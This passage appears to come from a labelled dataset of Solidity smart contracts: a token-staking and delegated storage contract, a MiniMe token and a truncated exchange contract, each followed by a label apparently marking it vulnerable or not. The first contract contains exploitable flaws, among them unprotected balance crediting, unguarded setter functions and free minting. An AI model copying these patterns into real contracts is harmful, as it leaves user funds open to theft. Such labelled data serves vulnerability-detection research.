emit AccessLevelSet(_user, _access, msg.sender);
}
function revokeAccess(address _user) public adminAccessLevelOnly {
require(
accessLevel[_user] < 4,
"admin cannot revoke their own access"
);
uint256 currentAccessLevel = accessLevel[_user];
accessLevel[_user] = 0;
emit AccessRevoked(_user, currentAccessLevel, msg.sender);
}
function getAccessLevel(address _user) public view returns (uint256) {
return accessLevel[_user];
}
function myAccessLevel() public view returns (uint256) {
return getAccessLevel(msg.sender);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Token is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StakeToken is Token {
string public constant NAME = "TestTokenERC20";
string public constant SYMBOL = "T20";
uint8 public constant DECIMALS = 18;
uint256 public constant INITIAL_SUPPLY = 10000 * (10 ** uint256(DECIMALS));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
function giveMeTokens() public {
balances[msg.sender] += INITIAL_SUPPLY;
totalSupply_ += INITIAL_SUPPLY;
}
}
contract StakingContract {
using SafeMath for *;
event TokensStaked(address msgSender, address txOrigin, uint256 _amount);
address public stakingTokenAddress;
StakeToken stakingToken;
uint256 public defaultLockInDuration;
mapping (address => StakeContract) public stakeHolders;
struct Stake {
uint256 unlockedTimestamp;
uint256 actualAmount;
address stakedFor;
}
struct StakeContract {
uint256 totalStakedFor;
uint256 personalStakeIndex;
Stake[] personalStakes;
bool exists;
}
event Staked(address indexed user, uint256 amount, uint256 total, bytes data);
event Unstaked(address indexed user, uint256 amount, uint256 total, bytes data);
constructor() public {
}
modifier canStake(address _address, uint256 _amount) {
require(
stakingToken.transferFrom(_address, address(this), _amount),
"Stake required");
_;
}
function initForTests(address _token) public {
stakingTokenAddress = _token;
stakingToken = StakeToken(stakingTokenAddress);
}
function stake(uint256 _amount) public returns (bool) {
createStake(
msg.sender,
_amount);
return true;
}
function createStake(
address _address,
uint256 _amount
)
internal
canStake(msg.sender, _amount)
{
if (!stakeHolders[msg.sender].exists) {
stakeHolders[msg.sender].exists = true;
}
stakeHolders[_address].totalStakedFor = stakeHolders[_address].totalStakedFor.add(_amount);
stakeHolders[msg.sender].personalStakes.push(
Stake(
block.timestamp.add(2000),
_amount,
_address)
);
}
function withdrawStake(
uint256 _amount
)
internal
{
Stake storage personalStake = stakeHolders[msg.sender].personalStakes[stakeHolders[msg.sender].personalStakeIndex];
require(
personalStake.unlockedTimestamp <= block.timestamp,
"The current stake hasn't unlocked yet");
require(
personalStake.actualAmount == _amount,
"The unstake amount does not match the current stake");
require(
stakingToken.transfer(msg.sender, _amount),
"Unable to withdraw stake");
stakeHolders[personalStake.stakedFor].totalStakedFor = stakeHolders[personalStake.stakedFor]
.totalStakedFor.sub(personalStake.actualAmount);
personalStake.actualAmount = 0;
stakeHolders[msg.sender].personalStakeIndex++;
}
}
contract AccessDelegatedTokenStorage is AccessDelegated {
using SafeMath for *;
mapping(address => uint256) public userTokenBalance;
uint256 public totalTokenBalance;
uint256 public stakedTokensReceivable;
uint256 public approvedTokensPayable;
address public token;
address public tokenStakingContractAddress;
address public augurUniverseAddress;
event UserBalanceChange(address indexed user, uint256 previousBalance, uint256 currentBalance);
event TokenDeposit(address indexed user, uint256 amount);
event TokenWithdrawal(address indexed user, uint256 amount);
constructor () public {
}
function delegatedTotalSupply() public view returns (uint256) {
return StakeToken(token).totalSupply();
}
function delegatedBalanceOf(address _balanceHolder) public view returns (uint256) {
return StakeToken(token).balanceOf(_balanceHolder);
}
function delegatedAllowance(address _owner, address _spender) public view returns (uint256) {
return StakeToken(token).allowance(_owner, _spender);
}
function delegatedApprove(address _spender, uint256 _value) public adminAccessLevelOnly returns (bool) {
return StakeToken(token).approve(_spender, _value);
}
function delegatedTransferFrom(address _from, address _to, uint256 _value) public adminAccessLevelOnly returns (bool) {
return StakeToken(token).transferFrom(_from, _to, _value);
}
function delegatedTokenTransfer(address _to, uint256 _value) public adminAccessLevelOnly returns (bool) {
return StakeToken(token).transfer(_to, _value);
}
function delegatedIncreaseApproval(address _spender, uint256 _addedValue) public adminAccessLevelOnly returns (bool) {
return StakeToken(token).increaseApproval(_spender, _addedValue);
}
function delegatedDecreaseApproval(address _spender, uint256 _subtractedValue) public adminAccessLevelOnly returns (bool) {
return StakeToken(token).decreaseApproval(_spender, _subtractedValue);
}
function delegatedStake(uint256 _amount) public returns (bool) {
require(StakingContract(tokenStakingContractAddress).stake(_amount), "staking must be successful");
stakedTokensReceivable += _amount;
approvedTokensPayable -= _amount;
}
function delegatedApproveSpender(address _address, uint256 _amount) public returns (bool) {
require(StakeToken(token).approve(_address, _amount), "approval must be successful");
approvedTokensPayable += _amount;
}
function depositEther() public payable {
}
function delegatedCreateYesNoMarket(
uint256 _endTime,
uint256 _feePerEthInWei,
address _denominationToken,
address _designatedReporterAddress,
bytes32 _topic,
string memory _description,
string memory _extraInfo) public payable {
IUniverse(augurUniverseAddress).createYesNoMarket(
_endTime,
_feePerEthInWei,
_denominationToken,
_designatedReporterAddress,
_topic,
_description,
_extraInfo);
}
function setTokenContract(address _token) external {
token = _token;
}
function setTokenStakingContract(address _stakingContractAddress) external {
tokenStakingContractAddress = _stakingContractAddress;
}
function setAugurUniverse(address augurUniverse) external {
augurUniverseAddress = address(IUniverse(augurUniverse));
}
function depositToken(address _user) public {
uint256 allowance = StakeToken(token).allowance(_user, address(this));
uint256 oldBalance = userTokenBalance[_user];
uint256 newBalance = oldBalance.add(allowance);
require(StakeToken(token).transferFrom(_user, address(this), allowance), "transfer failed");
userTokenBalance[_user] = newBalance;
totalTokenBalance = totalTokenBalance.add(allowance);
emit UserBalanceChange(_user, oldBalance, newBalance);
}
function proxyDepositToken(address _user, uint256 _amount) external {
uint256 oldBalance = userTokenBalance[_user];
uint256 newBalance = oldBalance.add(_amount);
userTokenBalance[_user] = newBalance;
totalTokenBalance = totalTokenBalance.add(_amount);
emit UserBalanceChange(_user, oldBalance, newBalance);
}
function checkTotalBalanceExternal() public view returns (uint256, uint256) {
return (StakeToken(token).balanceOf(address(this)), StakeToken(token).balanceOf(address(this)));
}
function balanceChecks() public view returns (uint256, uint256, uint256, uint256) {
return (
stakedTokensReceivable,
approvedTokensPayable,
totalTokenBalance,
StakeToken(token).balanceOf(address(tokenStakingContractAddress))
);
}
function withdrawTokens(address _user, uint256 _amount) public returns (bool) {
uint256 currentBalance = userTokenBalance[_user];
require(_amount <= currentBalance, "Withdraw amount greater than current balance");
uint256 newBalance = currentBalance.sub(_amount);
require(StakeToken(token).transfer(_user, _amount), "error during token transfer");
userTokenBalance[_user] = newBalance;
totalTokenBalance = SafeMath.sub(totalTokenBalance, _amount);
emit TokenWithdrawal(_user, _amount);
emit UserBalanceChange(_user, currentBalance, newBalance);
}
function makeDeposit() public {
depositToken(msg.sender);
}
function makeWithdrawal(uint256 _amount) public {
withdrawTokens(msg.sender, _amount);
emit TokenWithdrawal(msg.sender, _amount);
}
function getUserTokenBalance(address _user) public view returns (uint256 balance) {
return userTokenBalance[_user];
}
function getTokenAddress() public view returns (address tokenContract) {
return token;
}
} | 1 |
pragma solidity ^0.4.24;
interface ITokenController {
function proxyPayment(address _owner) external payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) external returns(bool);
function onApprove(address _owner, address _spender, uint _amount) external returns(bool);
}
contract Controlled {
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) onlyController public {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 _amount,
address _token,
bytes _data
) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = "MMT_0.1";
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
MiniMeTokenFactory _tokenFactory,
MiniMeToken _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public
{
tokenFactory = _tokenFactory;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = _parentToken;
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount)
return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(ITokenController(controller).onTransfer(_from, _to, _amount) == true);
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(ITokenController(controller).onApprove(msg.sender, _spender, _amount) == true);
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(ApproveAndCallFallBack _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
require(approve(_spender, _amount));
_spender.receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) {
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(MiniMeToken)
{
uint256 snapshot = _snapshotBlock == 0 ? block.number - 1 : _snapshotBlock;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
snapshot,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), snapshot);
return cloneToken;
}
function generateTokens(address _owner, uint _amount) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController public {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) {
if (checkpoints.length == 0)
return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock)
return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal {
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0)
return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () external payable {
require(isContract(controller));
require(ITokenController(controller).proxyPayment.value(msg.value)(msg.sender) == true);
}
function claimTokens(address _token) onlyController public {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
MiniMeToken _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken)
{
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
} | 0 |
pragma solidity 0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor()
public
{
owner = msg.sender;
}
modifier onlyOwner()
{
require(
msg.sender == owner,
"Only the owner of that contract can execute this method"
);
_;
}
function transferOwnership(address newOwner)
public
onlyOwner
{
require(
newOwner != address(0x0),
"Invalid address"
);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface IOldERC20 {
function transfer(address to, uint256 value)
external;
function transferFrom(address from, address to, uint256 value)
external;
function approve(address spender, uint256 value)
external;
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeOldERC20 {
function checkSuccess()
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
function transfer(address token, address to, uint256 amount) internal {
IOldERC20(token).transfer(to, amount);
require(checkSuccess(), "Transfer failed");
}
function transferFrom(address token, address from, address to, uint256 amount) internal {
IOldERC20(token).transferFrom(from, to, amount);
require(checkSuccess(), "Transfer From failed");
}
}
library CrowdsaleLib {
struct Crowdsale {
uint256 startTime;
uint256 endTime;
uint256 capacity;
uint256 leftAmount;
uint256 tokenRatio;
uint256 minContribution;
uint256 maxContribution;
uint256 weiRaised;
address wallet;
}
function isValid(Crowdsale storage _self)
internal
view
returns (bool)
{
return (
(_self.startTime >= now) &&
(_self.endTime >= _self.startTime) &&
(_self.tokenRatio > 0) &&
(_self.wallet != address(0))
);
}
function isOpened(Crowdsale storage _self)
internal
view
returns (bool)
{
return (now >= _self.startTime && now <= _self.endTime);
}
function createCrowdsale(
address _wallet,
uint256[8] _values
)
internal
pure
returns (Crowdsale memory)
{
return Crowdsale({
startTime: _values[0],
endTime: _values[1],
capacity: _values[2],
leftAmount: _values[3],
tokenRatio: _values[4],
minContribution: _values[5],
maxContribution: _values[6],
weiRaised: _values[7],
wallet: _wallet
});
}
}
contract IUpgradableExchange {
uint8 public VERSION;
event FundsMigrated(address indexed user, address indexed exchangeAddress);
function allowOrRestrictMigrations() external;
function migrateFunds(address[] _tokens) external;
function migrateEthers() private;
function migrateTokens(address[] _tokens) private;
function importEthers(address _user) external payable;
function importTokens(address _tokenAddress, uint256 _tokenAmount, address _user) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library OrderLib {
struct Order {
uint256 makerSellAmount;
uint256 makerBuyAmount;
uint256 nonce;
address maker;
address makerSellToken;
address makerBuyToken;
}
function createHash(Order memory order)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
order.maker,
order.makerSellToken,
order.makerSellAmount,
order.makerBuyToken,
order.makerBuyAmount,
order.nonce,
this
)
);
}
function createOrder(
address[3] addresses,
uint256[3] values
)
internal
pure
returns (Order memory)
{
return Order({
maker: addresses[0],
makerSellToken: addresses[1],
makerSellAmount: values[0],
makerBuyToken: addresses[2],
makerBuyAmount: values[1],
nonce: values[2]
});
}
}
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns(uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns(uint256)
{
return a / b;
}
function sub(uint256 a, uint256 b)
internal
pure
returns(uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns(uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
function calculateRate(
uint256 _numerator,
uint256 _denominator
)
internal
pure
returns(uint256)
{
return div(mul(_numerator, 1e18), _denominator);
}
function calculateReferralFee(uint256 _fee, uint256 _referralFeeRate) internal pure returns (uint256) {
return div(_fee, _referralFeeRate);
}
function calculateWdxFee(uint256 _etherAmount, uint256 _tokenRatio, uint256 _feeRate) internal pure returns (uint256) {
return div(div(mul(_etherAmount, 1e18), _tokenRatio), mul(_feeRate, 2));
}
}
contract Token is IERC20 {
function getBonusFactor(uint256 _startTime, uint256 _endTime, uint256 _weiAmount)
public view returns (uint256);
function isUserWhitelisted(address _user)
public view returns (bool);
}
contract Exchange is Ownable {
using Math for uint256;
using OrderLib for OrderLib.Order;
uint256 public feeRate;
mapping(address => mapping(address => uint256)) public balances;
mapping(bytes32 => uint256) public filledAmounts;
address constant public ETH = address(0x0);
address public feeAccount;
constructor(
address _feeAccount,
uint256 _feeRate
)
public
{
feeAccount = _feeAccount;
feeRate = _feeRate;
}
enum ErrorCode {
INSUFFICIENT_MAKER_BALANCE,
INSUFFICIENT_TAKER_BALANCE,
INSUFFICIENT_ORDER_AMOUNT
}
event Deposit(
address indexed tokenAddress,
address indexed user,
uint256 amount,
uint256 balance
);
event Withdraw(
address indexed tokenAddress,
address indexed user,
uint256 amount,
uint256 balance
);
event CancelOrder(
address indexed makerBuyToken,
address indexed makerSellToken,
address indexed maker,
bytes32 orderHash,
uint256 nonce
);
event TakeOrder(
address indexed maker,
address taker,
address indexed makerBuyToken,
address indexed makerSellToken,
uint256 takerGivenAmount,
uint256 takerReceivedAmount,
bytes32 orderHash,
uint256 nonce
);
event Error(
uint8 eventId,
bytes32 orderHash
);
function setFee(uint256 _feeRate)
external
onlyOwner
{
feeRate = _feeRate;
}
function setFeeAccount(address _feeAccount)
external
onlyOwner
{
feeAccount = _feeAccount;
}
function depositEthers() external payable
{
address user = msg.sender;
_depositEthers(user);
emit Deposit(ETH, user, msg.value, balances[ETH][user]);
}
function depositEthersFor(
address
_beneficiary
)
external
payable
{
_depositEthers(_beneficiary);
emit Deposit(ETH, _beneficiary, msg.value, balances[ETH][_beneficiary]);
}
function depositTokens(
address _tokenAddress,
uint256 _amount
)
external
{
address user = msg.sender;
_depositTokens(_tokenAddress, _amount, user);
emit Deposit(_tokenAddress, user, _amount, balances[_tokenAddress][user]);
}
function depositTokensFor(
address _tokenAddress,
uint256 _amount,
address _beneficiary
)
external
{
_depositTokens(_tokenAddress, _amount, _beneficiary);
emit Deposit(_tokenAddress, _beneficiary, _amount, balances[_tokenAddress][_beneficiary]);
}
function _depositEthers(
address
_beneficiary
)
internal
{
balances[ETH][_beneficiary] = balances[ETH][_beneficiary].add(msg.value);
}
function _depositTokens(
address _tokenAddress,
uint256 _amount,
address _beneficiary
)
internal
{
balances[_tokenAddress][_beneficiary] = balances[_tokenAddress][_beneficiary].add(_amount);
require(
Token(_tokenAddress).transferFrom(msg.sender, this, _amount),
"Token transfer is not successfull (maybe you haven't used approve first?)"
);
}
function withdrawEthers(uint256 _amount) external
{
address user = msg.sender;
require(
balances[ETH][user] >= _amount,
"Not enough funds to withdraw."
);
balances[ETH][user] = balances[ETH][user].sub(_amount);
user.transfer(_amount);
emit Withdraw(ETH, user, _amount, balances[ETH][user]);
}
function withdrawTokens(
address _tokenAddress,
uint256 _amount
)
external
{
address user = msg.sender;
require(
balances[_tokenAddress][user] >= _amount,
"Not enough funds to withdraw."
);
balances[_tokenAddress][user] = balances[_tokenAddress][user].sub(_amount);
require(
Token(_tokenAddress).transfer(user, _amount),
"Token transfer is not successfull."
);
emit Withdraw(_tokenAddress, user, _amount, balances[_tokenAddress][user]);
}
function transfer(
address _tokenAddress,
address _to,
uint256 _amount
)
external
{
address user = msg.sender;
require(
balances[_tokenAddress][user] >= _amount,
"Not enough funds to transfer."
);
balances[_tokenAddress][user] = balances[_tokenAddress][user].sub(_amount);
balances[_tokenAddress][_to] = balances[_tokenAddress][_to].add(_amount);
}
function takeOrder(
OrderLib.Order memory _order,
uint256 _takerSellAmount,
uint8 _v,
bytes32 _r,
bytes32 _s
)
internal
returns (uint256)
{
bytes32 orderHash = _order.createHash();
require(
ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), _v, _r, _s) == _order.maker,
"Order maker is invalid."
);
if(balances[_order.makerBuyToken][msg.sender] < _takerSellAmount) {
emit Error(uint8(ErrorCode.INSUFFICIENT_TAKER_BALANCE), orderHash);
return 0;
}
uint256 receivedAmount = (_order.makerSellAmount.mul(_takerSellAmount)).div(_order.makerBuyAmount);
if(balances[_order.makerSellToken][_order.maker] < receivedAmount) {
emit Error(uint8(ErrorCode.INSUFFICIENT_MAKER_BALANCE), orderHash);
return 0;
}
if(filledAmounts[orderHash].add(_takerSellAmount) > _order.makerBuyAmount) {
emit Error(uint8(ErrorCode.INSUFFICIENT_ORDER_AMOUNT), orderHash);
return 0;
}
filledAmounts[orderHash] = filledAmounts[orderHash].add(_takerSellAmount);
balances[_order.makerBuyToken][msg.sender] = balances[_order.makerBuyToken][msg.sender].sub(_takerSellAmount);
balances[_order.makerBuyToken][_order.maker] = balances[_order.makerBuyToken][_order.maker].add(_takerSellAmount);
balances[_order.makerSellToken][msg.sender] = balances[_order.makerSellToken][msg.sender].add(receivedAmount);
balances[_order.makerSellToken][_order.maker] = balances[_order.makerSellToken][_order.maker].sub(receivedAmount);
emit TakeOrder(
_order.maker,
msg.sender,
_order.makerBuyToken,
_order.makerSellToken,
_takerSellAmount,
receivedAmount,
orderHash,
_order.nonce
);
return receivedAmount;
}
function cancelOrder(
address[3] _orderAddresses,
uint256[3] _orderValues,
uint8 _v,
bytes32 _r,
bytes32 _s
)
public
{
OrderLib.Order memory order = OrderLib.createOrder(_orderAddresses, _orderValues);
bytes32 orderHash = order.createHash();
require(
ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), _v, _r, _s) == msg.sender,
"Only order maker can cancel it."
);
filledAmounts[orderHash] = filledAmounts[orderHash].add(order.makerBuyAmount);
emit CancelOrder(
order.makerBuyToken,
order.makerSellToken,
msg.sender,
orderHash,
order.nonce
);
}
function cancelMultipleOrders(
address[3][] _orderAddresses,
uint256[3][] _orderValues,
uint8[] _v,
bytes32[] _r,
bytes32[] _s
)
external
{
for (uint256 index = 0; index < _orderAddresses.length; index++) {
cancelOrder(
_orderAddresses[index],
_orderValues[index],
_v[index],
_r[index],
_s[index]
);
}
}
}
contract DailyVolumeUpdater is Ownable {
using Math for uint256;
uint256 public dailyVolume;
uint256 public dailyVolumeCap;
uint256 private lastDay;
constructor()
public
{
dailyVolume = 0;
dailyVolumeCap = 1000 ether;
lastDay = today();
}
function setDailyVolumeCap(uint256 _dailyVolumeCap)
public
onlyOwner
{
dailyVolumeCap = _dailyVolumeCap;
}
function updateVolume(uint256 _volume)
internal
{
if(today() > lastDay) {
dailyVolume = _volume;
lastDay = today();
} else {
dailyVolume = dailyVolume.add(_volume);
}
}
function isVolumeReached()
internal
view
returns(bool)
{
return dailyVolume >= dailyVolumeCap;
}
function today()
private
view
returns(uint256)
{
return block.timestamp.div(1 days);
}
}
contract DiscountTokenExchange is Exchange, DailyVolumeUpdater {
uint256 internal discountTokenRatio;
uint256 private minimumTokenAmountForUpdate;
address public discountTokenAddress;
bool internal initialized = false;
constructor(
address _discountTokenAddress,
uint256 _discountTokenRatio
)
public
{
discountTokenAddress = _discountTokenAddress;
discountTokenRatio = _discountTokenRatio;
}
modifier onlyOnce() {
require(
initialized == false,
"Exchange is already initialized"
);
_;
}
function setDiscountToken(
address _discountTokenAddress,
uint256 _discountTokenRatio,
uint256 _minimumTokenAmountForUpdate
)
public
onlyOwner
onlyOnce
{
discountTokenAddress = _discountTokenAddress;
discountTokenRatio = _discountTokenRatio;
minimumTokenAmountForUpdate = _minimumTokenAmountForUpdate;
initialized = true;
}
function updateTokenRatio(
uint256 _etherAmount,
uint256 _tokenAmount
)
internal
{
if(_tokenAmount >= minimumTokenAmountForUpdate) {
discountTokenRatio = _etherAmount.calculateRate(_tokenAmount);
}
}
function setMinimumTokenAmountForUpdate(
uint256 _minimumTokenAmountForUpdate
)
external
onlyOwner
{
minimumTokenAmountForUpdate = _minimumTokenAmountForUpdate;
}
function takeSellTokenOrder(
address[3] _orderAddresses,
uint256[3] _orderValues,
uint256 _takerSellAmount,
uint8 _v,
bytes32 _r,
bytes32 _s
)
external
{
require(
_orderAddresses[1] == discountTokenAddress,
"Should sell WeiDex Tokens"
);
require(
0 < takeOrder(OrderLib.createOrder(_orderAddresses, _orderValues), _takerSellAmount, _v, _r, _s),
"Trade failure"
);
updateVolume(_takerSellAmount);
updateTokenRatio(_orderValues[1], _orderValues[0]);
}
function takeBuyTokenOrder(
address[3] _orderAddresses,
uint256[3] _orderValues,
